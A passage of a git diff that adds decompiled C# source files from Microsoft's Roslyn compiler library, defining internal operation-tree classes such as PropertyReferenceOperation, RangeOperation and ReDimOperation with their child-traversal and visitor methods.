nextSlot: -1, nextIndex: 0); + } + + public override void Accept(OperationVisitor visitor) + { + visitor.VisitParenthesized(this); + } + + public override TResult? Accept(OperationVisitor visitor, TArgument argument) + { + return visitor.VisitParenthesized(this, argument); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/PatternCaseClauseOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/PatternCaseClauseOperation.cs new file mode 100644 index 0000000..c1733bc --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/PatternCaseClauseOperation.cs @@ -0,0 +1,106 @@ +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.Operations; + +internal sealed class PatternCaseClauseOperation : BaseCaseClauseOperation, IPatternCaseClauseOperation, ICaseClauseOperation, IOperation +{ + public new ILabelSymbol Label => base.Label; + + public IPatternOperation Pattern { get; } + + public IOperation? Guard { get; } + + internal override int ChildOperationsCount => ((Pattern != null) ? 1 : 0) + ((Guard != null) ? 1 : 0); + + public override ITypeSymbol? Type => null; + + internal override ConstantValue? OperationConstantValue => null; + + public override OperationKind Kind => OperationKind.CaseClause; + + public override CaseKind CaseKind => CaseKind.Pattern; + + internal PatternCaseClauseOperation(ILabelSymbol label, IPatternOperation pattern, IOperation? guard, SemanticModel? semanticModel, SyntaxNode syntax, bool isImplicit) + : base(label, semanticModel, syntax, isImplicit) + { + Pattern = Operation.SetParentOperation(pattern, this); + Guard = Operation.SetParentOperation(guard, this); + } + + internal override IOperation GetCurrent(int slot, int index) + { + switch (slot) + { + case 0: + if (Pattern != null) + { + return Pattern; + } + break; + case 1: + if (Guard != null) + { + return Guard; + } + break; + } + throw ExceptionUtilities.UnexpectedValue((slot, index)); + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNext(int previousSlot, int previousIndex) + { + switch (previousSlot) + { + case -1: + if (Pattern != null) + { + return (hasNext: true, nextSlot: 0, nextIndex: 0); + } + goto case 0; + case 0: + if (Guard != null) + { + return (hasNext: true, nextSlot: 1, nextIndex: 0); + } + goto case 1; + case 1: + case 2: + return (hasNext: false, nextSlot: 2, nextIndex: 0); + default: + throw ExceptionUtilities.UnexpectedValue((previousSlot, previousIndex)); + } + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNextReversed(int previousSlot, int previousIndex) + { + if ((uint)(previousSlot - -1) > 1u) + { + if (previousSlot != 1) + { + if (previousSlot != int.MaxValue) + { + throw ExceptionUtilities.UnexpectedValue((previousSlot, previousIndex)); + } + if (Guard != null) + { + return (hasNext: true, nextSlot: 1, nextIndex: 0); + } + } + if (Pattern != null) + { + return (hasNext: true, nextSlot: 0, nextIndex: 0); + } + } + return (hasNext: false, nextSlot: -1, nextIndex: 0); + } + + public override void Accept(OperationVisitor visitor) + { + visitor.VisitPatternCaseClause(this); + } + + public override TResult? Accept(OperationVisitor visitor, TArgument argument) + { + return visitor.VisitPatternCaseClause(this, argument); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/PlaceholderKind.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/PlaceholderKind.cs new file mode 100644 index 0000000..1b70670 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/PlaceholderKind.cs @@ -0,0 +1,10 @@ +namespace Microsoft.CodeAnalysis.Operations; + +internal enum PlaceholderKind +{ + Unspecified, + SwitchOperationExpression, + ForToLoopBinaryOperatorLeftOperand, + ForToLoopBinaryOperatorRightOperand, + AggregationGroup +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/PlaceholderOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/PlaceholderOperation.cs new file mode 100644 index 0000000..3459452 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/PlaceholderOperation.cs @@ -0,0 +1,48 @@ +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.Operations; + +internal sealed class PlaceholderOperation : Operation, IPlaceholderOperation, IOperation +{ + public PlaceholderKind PlaceholderKind { get; } + + internal override int ChildOperationsCount => 0; + + public override ITypeSymbol? Type { get; } + + internal override ConstantValue? OperationConstantValue => null; + + public override OperationKind Kind => OperationKind.None; + + internal PlaceholderOperation(PlaceholderKind placeholderKind, SemanticModel? semanticModel, SyntaxNode syntax, ITypeSymbol? type, bool isImplicit) + : base(semanticModel, syntax, isImplicit) + { + PlaceholderKind = placeholderKind; + Type = type; + } + + internal override IOperation GetCurrent(int slot, int index) + { + throw ExceptionUtilities.UnexpectedValue((slot, index)); + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNext(int previousSlot, int previousIndex) + { + return (hasNext: false, nextSlot: int.MinValue, nextIndex: int.MinValue); + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNextReversed(int previousSlot, int previousIndex) + { + return (hasNext: false, nextSlot: int.MinValue, nextIndex: int.MinValue); + } + + public override void Accept(OperationVisitor visitor) + { + visitor.VisitPlaceholder(this); + } + + public override TResult? Accept(OperationVisitor visitor, TArgument argument) + { + return visitor.VisitPlaceholder(this, argument); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/PropertyInitializerOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/PropertyInitializerOperation.cs new file mode 100644 index 0000000..a454d8e --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/PropertyInitializerOperation.cs @@ -0,0 +1,74 @@ +using System.Collections.Immutable; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.Operations; + +internal sealed class PropertyInitializerOperation : BaseSymbolInitializerOperation, IPropertyInitializerOperation, ISymbolInitializerOperation, IOperation +{ + public ImmutableArray InitializedProperties { get; } + + internal override int ChildOperationsCount => (base.Value != null) ? 1 : 0; + + public override ITypeSymbol? Type => null; + + internal override ConstantValue? OperationConstantValue => null; + + public override OperationKind Kind => OperationKind.PropertyInitializer; + + internal PropertyInitializerOperation(ImmutableArray initializedProperties, ImmutableArray locals, IOperation value, SemanticModel? semanticModel, SyntaxNode syntax, bool isImplicit) + : base(locals, value, semanticModel, syntax, isImplicit) + { + InitializedProperties = initializedProperties; + } + + internal override IOperation GetCurrent(int slot, int index) + { + if (slot == 0 && base.Value != null) + { + return base.Value; + } + throw ExceptionUtilities.UnexpectedValue((slot, index)); + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNext(int previousSlot, int previousIndex) + { + if (previousSlot != -1) + { + if ((uint)previousSlot > 1u) + { + throw ExceptionUtilities.UnexpectedValue((previousSlot, previousIndex)); + } + } + else if (base.Value != null) + { + return (hasNext: true, nextSlot: 0, nextIndex: 0); + } + return (hasNext: false, nextSlot: 1, nextIndex: 0); + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNextReversed(int previousSlot, int previousIndex) + { + if ((uint)(previousSlot - -1) > 1u) + { + if (previousSlot != int.MaxValue) + { + throw ExceptionUtilities.UnexpectedValue((previousSlot, previousIndex)); + } + if (base.Value != null) + { + return (hasNext: true, nextSlot: 0, nextIndex: 0); + } + } + return (hasNext: false, nextSlot: -1, nextIndex: 0); + } + + public override void Accept(OperationVisitor visitor) + { + visitor.VisitPropertyInitializer(this); + } + + public override TResult? Accept(OperationVisitor visitor, TArgument argument) + { + return visitor.VisitPropertyInitializer(this, argument); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/PropertyReferenceOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/PropertyReferenceOperation.cs new file mode 100644 index 0000000..69a9a88 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/PropertyReferenceOperation.cs @@ -0,0 +1,118 @@ +using System.Collections.Immutable; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.Operations; + +internal sealed class PropertyReferenceOperation : BaseMemberReferenceOperation, IPropertyReferenceOperation, IMemberReferenceOperation, IOperation +{ + public IPropertySymbol Property { get; } + + public override ITypeSymbol? ConstrainedToType { get; } + + public ImmutableArray Arguments { get; } + + internal override int ChildOperationsCount => Arguments.Length + ((base.Instance != null) ? 1 : 0); + + public override ITypeSymbol? Type { get; } + + internal override ConstantValue? OperationConstantValue => null; + + public override OperationKind Kind => OperationKind.PropertyReference; + + public override ISymbol Member => Property; + + internal PropertyReferenceOperation(IPropertySymbol property, ITypeSymbol? constrainedToType, ImmutableArray arguments, IOperation? instance, SemanticModel? semanticModel, SyntaxNode syntax, ITypeSymbol? type, bool isImplicit) + : base(instance, semanticModel, syntax, isImplicit) + { + Property = property; + ConstrainedToType = constrainedToType; + Arguments = Operation.SetParentOperation(arguments, this); + Type = type; + } + + internal override IOperation GetCurrent(int slot, int index) + { + switch (slot) + { + case 0: + if (base.Instance != null) + { + return base.Instance; + } + break; + case 1: + if (index < Arguments.Length) + { + return Arguments[index]; + } + break; + } + throw ExceptionUtilities.UnexpectedValue((slot, index)); + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNext(int previousSlot, int previousIndex) + { + switch (previousSlot) + { + case -1: + if (base.Instance != null) + { + return (hasNext: true, nextSlot: 0, nextIndex: 0); + } + goto case 0; + case 0: + if (!Arguments.IsEmpty) + { + return (hasNext: true, nextSlot: 1, nextIndex: 0); + } + goto case 2; + case 1: + if (previousIndex + 1 < Arguments.Length) + { + return (hasNext: true, nextSlot: 1, nextIndex: previousIndex + 1); + } + goto case 2; + case 2: + return (hasNext: false, nextSlot: 2, nextIndex: 0); + default: + throw ExceptionUtilities.UnexpectedValue((previousSlot, previousIndex)); + } + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNextReversed(int previousSlot, int previousIndex) + { + if ((uint)(previousSlot - -1) > 1u) + { + if (previousSlot != 1) + { + if (previousSlot != int.MaxValue) + { + throw ExceptionUtilities.UnexpectedValue((previousSlot, previousIndex)); + } + if (!Arguments.IsEmpty) + { + return (hasNext: true, nextSlot: 1, nextIndex: Arguments.Length - 1); + } + } + else if (previousIndex > 0) + { + return (hasNext: true, nextSlot: 1, nextIndex: previousIndex - 1); + } + if (base.Instance != null) + { + return (hasNext: true, nextSlot: 0, nextIndex: 0); + } + } + return (hasNext: false, nextSlot: -1, nextIndex: 0); + } + + public override void Accept(OperationVisitor visitor) + { + visitor.VisitPropertyReference(this); + } + + public override TResult? Accept(OperationVisitor visitor, TArgument argument) + { + return visitor.VisitPropertyReference(this, argument); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/PropertySubpatternOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/PropertySubpatternOperation.cs new file mode 100644 index 0000000..6cf9298 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/PropertySubpatternOperation.cs @@ -0,0 +1,102 @@ +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.Operations; + +internal sealed class PropertySubpatternOperation : Operation, IPropertySubpatternOperation, IOperation +{ + public IOperation Member { get; } + + public IPatternOperation Pattern { get; } + + internal override int ChildOperationsCount => ((Member != null) ? 1 : 0) + ((Pattern != null) ? 1 : 0); + + public override ITypeSymbol? Type => null; + + internal override ConstantValue? OperationConstantValue => null; + + public override OperationKind Kind => OperationKind.PropertySubpattern; + + internal PropertySubpatternOperation(IOperation member, IPatternOperation pattern, SemanticModel? semanticModel, SyntaxNode syntax, bool isImplicit) + : base(semanticModel, syntax, isImplicit) + { + Member = Operation.SetParentOperation(member, this); + Pattern = Operation.SetParentOperation(pattern, this); + } + + internal override IOperation GetCurrent(int slot, int index) + { + switch (slot) + { + case 0: + if (Member != null) + { + return Member; + } + break; + case 1: + if (Pattern != null) + { + return Pattern; + } + break; + } + throw ExceptionUtilities.UnexpectedValue((slot, index)); + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNext(int previousSlot, int previousIndex) + { + switch (previousSlot) + { + case -1: + if (Member != null) + { + return (hasNext: true, nextSlot: 0, nextIndex: 0); + } + goto case 0; + case 0: + if (Pattern != null) + { + return (hasNext: true, nextSlot: 1, nextIndex: 0); + } + goto case 1; + case 1: + case 2: + return (hasNext: false, nextSlot: 2, nextIndex: 0); + default: + throw ExceptionUtilities.UnexpectedValue((previousSlot, previousIndex)); + } + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNextReversed(int previousSlot, int previousIndex) + { + if ((uint)(previousSlot - -1) > 1u) + { + if (previousSlot != 1) + { + if (previousSlot != int.MaxValue) + { + throw ExceptionUtilities.UnexpectedValue((previousSlot, previousIndex)); + } + if (Pattern != null) + { + return (hasNext: true, nextSlot: 1, nextIndex: 0); + } + } + if (Member != null) + { + return (hasNext: true, nextSlot: 0, nextIndex: 0); + } + } + return (hasNext: false, nextSlot: -1, nextIndex: 0); + } + + public override void Accept(OperationVisitor visitor) + { + visitor.VisitPropertySubpattern(this); + } + + public override TResult? Accept(OperationVisitor visitor, TArgument argument) + { + return visitor.VisitPropertySubpattern(this, argument); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/RaiseEventOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/RaiseEventOperation.cs new file mode 100644 index 0000000..28890b5 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/RaiseEventOperation.cs @@ -0,0 +1,112 @@ +using System.Collections.Immutable; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.Operations; + +internal sealed class RaiseEventOperation : Operation, IRaiseEventOperation, IOperation +{ + public IEventReferenceOperation EventReference { get; } + + public ImmutableArray Arguments { get; } + + internal override int ChildOperationsCount => ((EventReference != null) ? 1 : 0) + Arguments.Length; + + public override ITypeSymbol? Type => null; + + internal override ConstantValue? OperationConstantValue => null; + + public override OperationKind Kind => OperationKind.RaiseEvent; + + internal RaiseEventOperation(IEventReferenceOperation eventReference, ImmutableArray arguments, SemanticModel? semanticModel, SyntaxNode syntax, bool isImplicit) + : base(semanticModel, syntax, isImplicit) + { + EventReference = Operation.SetParentOperation(eventReference, this); + Arguments = Operation.SetParentOperation(arguments, this); + } + + internal override IOperation GetCurrent(int slot, int index) + { + switch (slot) + { + case 0: + if (EventReference != null) + { + return EventReference; + } + break; + case 1: + if (index < Arguments.Length) + { + return Arguments[index]; + } + break; + } + throw ExceptionUtilities.UnexpectedValue((slot, index)); + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNext(int previousSlot, int previousIndex) + { + switch (previousSlot) + { + case -1: + if (EventReference != null) + { + return (hasNext: true, nextSlot: 0, nextIndex: 0); + } + goto case 0; + case 0: + if (!Arguments.IsEmpty) + { + return (hasNext: true, nextSlot: 1, nextIndex: 0); + } + goto case 2; + case 1: + if (previousIndex + 1 < Arguments.Length) + { + return (hasNext: true, nextSlot: 1, nextIndex: previousIndex + 1); + } + goto case 2; + case 2: + return (hasNext: false, nextSlot: 2, nextIndex: 0); + default: + throw ExceptionUtilities.UnexpectedValue((previousSlot, previousIndex)); + } + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNextReversed(int previousSlot, int previousIndex) + { + if ((uint)(previousSlot - -1) > 1u) + { + if (previousSlot != 1) + { + if (previousSlot != int.MaxValue) + { + throw ExceptionUtilities.UnexpectedValue((previousSlot, previousIndex)); + } + if (!Arguments.IsEmpty) + { + return (hasNext: true, nextSlot: 1, nextIndex: Arguments.Length - 1); + } + } + else if (previousIndex > 0) + { + return (hasNext: true, nextSlot: 1, nextIndex: previousIndex - 1); + } + if (EventReference != null) + { + return (hasNext: true, nextSlot: 0, nextIndex: 0); + } + } + return (hasNext: false, nextSlot: -1, nextIndex: 0); + } + + public override void Accept(OperationVisitor visitor) + { + visitor.VisitRaiseEvent(this); + } + + public override TResult? Accept(OperationVisitor visitor, TArgument argument) + { + return visitor.VisitRaiseEvent(this, argument); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/RangeCaseClauseOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/RangeCaseClauseOperation.cs new file mode 100644 index 0000000..6bf7979 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/RangeCaseClauseOperation.cs @@ -0,0 +1,104 @@ +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.Operations; + +internal sealed class RangeCaseClauseOperation : BaseCaseClauseOperation, IRangeCaseClauseOperation, ICaseClauseOperation, IOperation +{ + public IOperation MinimumValue { get; } + + public IOperation MaximumValue { get; } + + internal override int ChildOperationsCount => ((MinimumValue != null) ? 1 : 0) + ((MaximumValue != null) ? 1 : 0); + + public override ITypeSymbol? Type => null; + + internal override ConstantValue? OperationConstantValue => null; + + public override OperationKind Kind => OperationKind.CaseClause; + + public override CaseKind CaseKind => CaseKind.Range; + + internal RangeCaseClauseOperation(IOperation minimumValue, IOperation maximumValue, ILabelSymbol? label, SemanticModel? semanticModel, SyntaxNode syntax, bool isImplicit) + : base(label, semanticModel, syntax, isImplicit) + { + MinimumValue = Operation.SetParentOperation(minimumValue, this); + MaximumValue = Operation.SetParentOperation(maximumValue, this); + } + + internal override IOperation GetCurrent(int slot, int index) + { + switch (slot) + { + case 0: + if (MinimumValue != null) + { + return MinimumValue; + } + break; + case 1: + if (MaximumValue != null) + { + return MaximumValue; + } + break; + } + throw ExceptionUtilities.UnexpectedValue((slot, index)); + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNext(int previousSlot, int previousIndex) + { + switch (previousSlot) + { + case -1: + if (MinimumValue != null) + { + return (hasNext: true, nextSlot: 0, nextIndex: 0); + } + goto case 0; + case 0: + if (MaximumValue != null) + { + return (hasNext: true, nextSlot: 1, nextIndex: 0); + } + goto case 1; + case 1: + case 2: + return (hasNext: false, nextSlot: 2, nextIndex: 0); + default: + throw ExceptionUtilities.UnexpectedValue((previousSlot, previousIndex)); + } + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNextReversed(int previousSlot, int previousIndex) + { + if ((uint)(previousSlot - -1) > 1u) + { + if (previousSlot != 1) + { + if (previousSlot != int.MaxValue) + { + throw ExceptionUtilities.UnexpectedValue((previousSlot, previousIndex)); + } + if (MaximumValue != null) + { + return (hasNext: true, nextSlot: 1, nextIndex: 0); + } + } + if (MinimumValue != null) + { + return (hasNext: true, nextSlot: 0, nextIndex: 0); + } + } + return (hasNext: false, nextSlot: -1, nextIndex: 0); + } + + public override void Accept(OperationVisitor visitor) + { + visitor.VisitRangeCaseClause(this); + } + + public override TResult? Accept(OperationVisitor visitor, TArgument argument) + { + return visitor.VisitRangeCaseClause(this, argument); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/RangeOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/RangeOperation.cs new file mode 100644 index 0000000..85b7d38 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/RangeOperation.cs @@ -0,0 +1,109 @@ +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.Operations; + +internal sealed class RangeOperation : Operation, IRangeOperation, IOperation +{ + public IOperation? LeftOperand { get; } + + public IOperation? RightOperand { get; } + + public bool IsLifted { get; } + + public IMethodSymbol? Method { get; } + + internal override int ChildOperationsCount => ((LeftOperand != null) ? 1 : 0) + ((RightOperand != null) ? 1 : 0); + + public override ITypeSymbol? Type { get; } + + internal override ConstantValue? OperationConstantValue => null; + + public override OperationKind Kind => OperationKind.Range; + + internal RangeOperation(IOperation? leftOperand, IOperation? rightOperand, bool isLifted, IMethodSymbol? method, SemanticModel? semanticModel, SyntaxNode syntax, ITypeSymbol? type, bool isImplicit) + : base(semanticModel, syntax, isImplicit) + { + LeftOperand = Operation.SetParentOperation(leftOperand, this); + RightOperand = Operation.SetParentOperation(rightOperand, this); + IsLifted = isLifted; + Method = method; + Type = type; + } + + internal override IOperation GetCurrent(int slot, int index) + { + switch (slot) + { + case 0: + if (LeftOperand != null) + { + return LeftOperand; + } + break; + case 1: + if (RightOperand != null) + { + return RightOperand; + } + break; + } + throw ExceptionUtilities.UnexpectedValue((slot, index)); + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNext(int previousSlot, int previousIndex) + { + switch (previousSlot) + { + case -1: + if (LeftOperand != null) + { + return (hasNext: true, nextSlot: 0, nextIndex: 0); + } + goto case 0; + case 0: + if (RightOperand != null) + { + return (hasNext: true, nextSlot: 1, nextIndex: 0); + } + goto case 1; + case 1: + case 2: + return (hasNext: false, nextSlot: 2, nextIndex: 0); + default: + throw ExceptionUtilities.UnexpectedValue((previousSlot, previousIndex)); + } + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNextReversed(int previousSlot, int previousIndex) + { + if ((uint)(previousSlot - -1) > 1u) + { + if (previousSlot != 1) + { + if (previousSlot != int.MaxValue) + { + throw ExceptionUtilities.UnexpectedValue((previousSlot, previousIndex)); + } + if (RightOperand != null) + { + return (hasNext: true, nextSlot: 1, nextIndex: 0); + } + } + if (LeftOperand != null) + { + return (hasNext: true, nextSlot: 0, nextIndex: 0); + } + } + return (hasNext: false, nextSlot: -1, nextIndex: 0); + } + + public override void Accept(OperationVisitor visitor) + { + visitor.VisitRangeOperation(this); + } + + public override TResult? Accept(OperationVisitor visitor, TArgument argument) + { + return visitor.VisitRangeOperation(this, argument); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/ReDimClauseOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/ReDimClauseOperation.cs new file mode 100644 index 0000000..5d78ddd --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/ReDimClauseOperation.cs @@ -0,0 +1,112 @@ +using System.Collections.Immutable; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.Operations; + +internal sealed class ReDimClauseOperation : Operation, IReDimClauseOperation, IOperation +{ + public IOperation Operand { get; } + + public ImmutableArray DimensionSizes { get; } + + internal override int ChildOperationsCount => ((Operand != null) ? 1 : 0) + DimensionSizes.Length; + + public override ITypeSymbol? Type => null; + + internal override ConstantValue? OperationConstantValue => null; + + public override OperationKind Kind => OperationKind.ReDimClause; + + internal ReDimClauseOperation(IOperation operand, ImmutableArray dimensionSizes, SemanticModel? semanticModel, SyntaxNode syntax, bool isImplicit) + : base(semanticModel, syntax, isImplicit) + { + Operand = Operation.SetParentOperation(operand, this); + DimensionSizes = Operation.SetParentOperation(dimensionSizes, this); + } + + internal override IOperation GetCurrent(int slot, int index) + { + switch (slot) + { + case 0: + if (Operand != null) + { + return Operand; + } + break; + case 1: + if (index < DimensionSizes.Length) + { + return DimensionSizes[index]; + } + break; + } + throw ExceptionUtilities.UnexpectedValue((slot, index)); + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNext(int previousSlot, int previousIndex) + { + switch (previousSlot) + { + case -1: + if (Operand != null) + { + return (hasNext: true, nextSlot: 0, nextIndex: 0); + } + goto case 0; + case 0: + if (!DimensionSizes.IsEmpty) + { + return (hasNext: true, nextSlot: 1, nextIndex: 0); + } + goto case 2; + case 1: + if (previousIndex + 1 < DimensionSizes.Length) + { + return (hasNext: true, nextSlot: 1, nextIndex: previousIndex + 1); + } + goto case 2; + case 2: + return (hasNext: false, nextSlot: 2, nextIndex: 0); + default: + throw ExceptionUtilities.UnexpectedValue((previousSlot, previousIndex)); + } + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNextReversed(int previousSlot, int previousIndex) + { + if ((uint)(previousSlot - -1) > 1u) + { + if (previousSlot != 1) + { + if (previousSlot != int.MaxValue) + { + throw ExceptionUtilities.UnexpectedValue((previousSlot, previousIndex)); + } + if (!DimensionSizes.IsEmpty) + { + return (hasNext: true, nextSlot: 1, nextIndex: DimensionSizes.Length - 1); + } + } + else if (previousIndex > 0) + { + return (hasNext: true, nextSlot: 1, nextIndex: previousIndex - 1); + } + if (Operand != null) + { + return (hasNext: true, nextSlot: 0, nextIndex: 0); + } + } + return (hasNext: false, nextSlot: -1, nextIndex: 0); + } + + public override void Accept(OperationVisitor visitor) + { + visitor.VisitReDimClause(this); + } + + public override TResult? Accept(OperationVisitor visitor, TArgument argument) + { + return visitor.VisitReDimClause(this, argument); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/ReDimOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/ReDimOperation.cs new file mode 100644 index 0000000..aec1933 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/ReDimOperation.cs @@ -0,0 +1,91 @@ +using System.Collections.Immutable; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.Operations; + +internal sealed class ReDimOperation : Operation, IReDimOperation, IOperation +{ + public ImmutableArray Clauses { get; } + + public bool Preserve { get; } + + internal override int ChildOperationsCount => Clauses.Length; + + public override ITypeSymbol? Type => null; + + internal override ConstantValue? OperationConstantValue => null; + + public override OperationKind Kind => OperationKind.ReDim; + + internal ReDimOperation(ImmutableArray clauses, bool preserve, SemanticModel? semanticModel, SyntaxNode syntax, bool isImplicit) + : base(semanticModel, syntax, isImplicit) + { + Clauses = Operation.SetParentOperation(clauses, this); + Preserve = preserve; + } + + internal override IOperation GetCurrent(int slot, int index) + { + if (slot == 0 && index < Clauses.Length) + { + return Clauses[index]; + } + throw ExceptionUtilities.UnexpectedValue((slot, index)); + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNext(int previousSlot, int previousIndex) + { + switch (previousSlot) + { + case -1: + if (!Clauses.IsEmpty) + { + return (hasNext: true, nextSlot: 0, nextIndex: 0); + } + goto case 1; + case 0: + if (previousIndex + 1 < Clauses.Length) + { + return (hasNext: true, nextSlot: 0, nextIndex: previousIndex + 1); + } + goto case 1; + case 1: + return (hasNext: false, nextSlot: 1, nextIndex: 0); + default: + throw ExceptionUtilities.UnexpectedValue((previousSlot, previousIndex)); + } + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNextReversed(int previousSlot, int previousIndex) + { + if (previousSlot != -1) + { + if (previousSlot != 0) + { + if (previousSlot != int.MaxValue) + { + throw ExceptionUtilities.UnexpectedValue((previousSlot, previousIndex)); + } + if (!Clauses.IsEmpty) + { + return (hasNext: true, nextSlot: 0, nextIndex: Clauses.Length - 1); + } + } + else if (previousIndex > 0) + { + return (hasNext: true, nextSlot: 0, nextIndex: previousIndex - 1); + } + } + return (hasNext: false, nextSlot: -1, nextIndex: 0); + } + + public override void Accept(OperationVisitor visitor) + { + visitor.VisitReDim(this); + } + + public override TResult? Accept(OperationVisitor visitor, TArgument argument) + { + return visitor.VisitReDim(this, argument); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/RecursivePatternOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/RecursivePatternOperation.cs new file mode 100644 index 0000000..9e6d730 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/RecursivePatternOperation.cs @@ -0,0 +1,139 @@ +using System.Collections.Immutable; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.Operations; + +internal sealed class RecursivePatternOperation : BasePatternOperation, IRecursivePatternOperation, IPatternOperation, IOperation +{ + public ITypeSymbol MatchedType { get; } + + public ISymbol? DeconstructSymbol { get; } + + public ImmutableArray DeconstructionSubpatterns { get; } + + public ImmutableArray PropertySubpatterns { get; } + + public ISymbol? DeclaredSymbol { get; } + + internal override int ChildOperationsCount => DeconstructionSubpatterns.Length + PropertySubpatterns.Length; + + public override ITypeSymbol? Type => null; + + internal override ConstantValue? OperationConstantValue => null; + + public override OperationKind Kind => OperationKind.RecursivePattern; + + internal RecursivePatternOperation(ITypeSymbol matchedType, ISymbol? deconstructSymbol, ImmutableArray deconstructionSubpatterns, ImmutableArray propertySubpatterns, ISymbol? declaredSymbol, ITypeSymbol inputType, ITypeSymbol narrowedType, SemanticModel? semanticModel, SyntaxNode syntax, bool isImplicit) + : base(inputType, narrowedType, semanticModel, syntax, isImplicit) + { + MatchedType = matchedType; + DeconstructSymbol = deconstructSymbol; + DeconstructionSubpatterns = Operation.SetParentOperation(deconstructionSubpatterns, this); + PropertySubpatterns = Operation.SetParentOperation(propertySubpatterns, this); + DeclaredSymbol = declaredSymbol; + } + + internal override IOperation GetCurrent(int slot, int index) + { + switch (slot) + { + case 0: + if (index < DeconstructionSubpatterns.Length) + { + return DeconstructionSubpatterns[index]; + } + break; + case 1: + if (index < PropertySubpatterns.Length) + { + return PropertySubpatterns[index]; + } + break; + } + throw ExceptionUtilities.UnexpectedValue((slot, index)); + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNext(int previousSlot, int previousIndex) + { + switch (previousSlot) + { + case -1: + if (!DeconstructionSubpatterns.IsEmpty) + { + return (hasNext: true, nextSlot: 0, nextIndex: 0); + } + goto IL_0053; + case 0: + if (previousIndex + 1 < 